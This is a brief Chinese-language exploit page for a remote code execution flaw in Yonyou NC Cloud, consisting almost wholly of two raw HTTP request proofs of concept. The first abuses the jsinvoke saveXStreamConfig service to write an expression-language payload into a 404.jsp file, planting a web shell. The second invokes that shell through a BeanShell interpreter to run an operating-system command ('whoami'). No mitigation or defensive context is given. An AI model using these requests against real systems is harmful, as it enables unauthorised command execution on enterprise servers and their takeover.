用友 NC Cloud 远程代码执行漏洞

poc1： ``` POST /uapjs/jsinvoke/?action=invoke HTTP/1.1 Host: ip:port Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: cookiets=1681785470496; JSESSIONID=33989F450B1EA57D4D3ED07A343770FF.server If-None-Match: W/"1571-1589211696000" If-Modified-Since: Mon, 11 May 2020 15:41:36 GMT Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 247 {"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig","parameterTypes":["java.lang.Object","java.lang.String"],"parameters":["${param.getClass().forName(param.error).newInstance().eval(param.cmd)}","webapps/nc_web/404.jsp"]} ``` poc2: ``` POST /404.jsp?error=bsh.Interpreter HTTP/1.1 Host: ip:prot Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: cookiets=1681785470496; JSESSIONID=33989F450B1EA57D4D3ED07A343770FF.server If-None-Match: W/"1571-1589211696000" If-Modified-Since: Mon, 11 May 2020 15:41:36 GMT Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 96 cmd=org.apache.commons.io.IOUtils.toString(Runtime.getRuntime().exec("whoami").getInputStream()) ```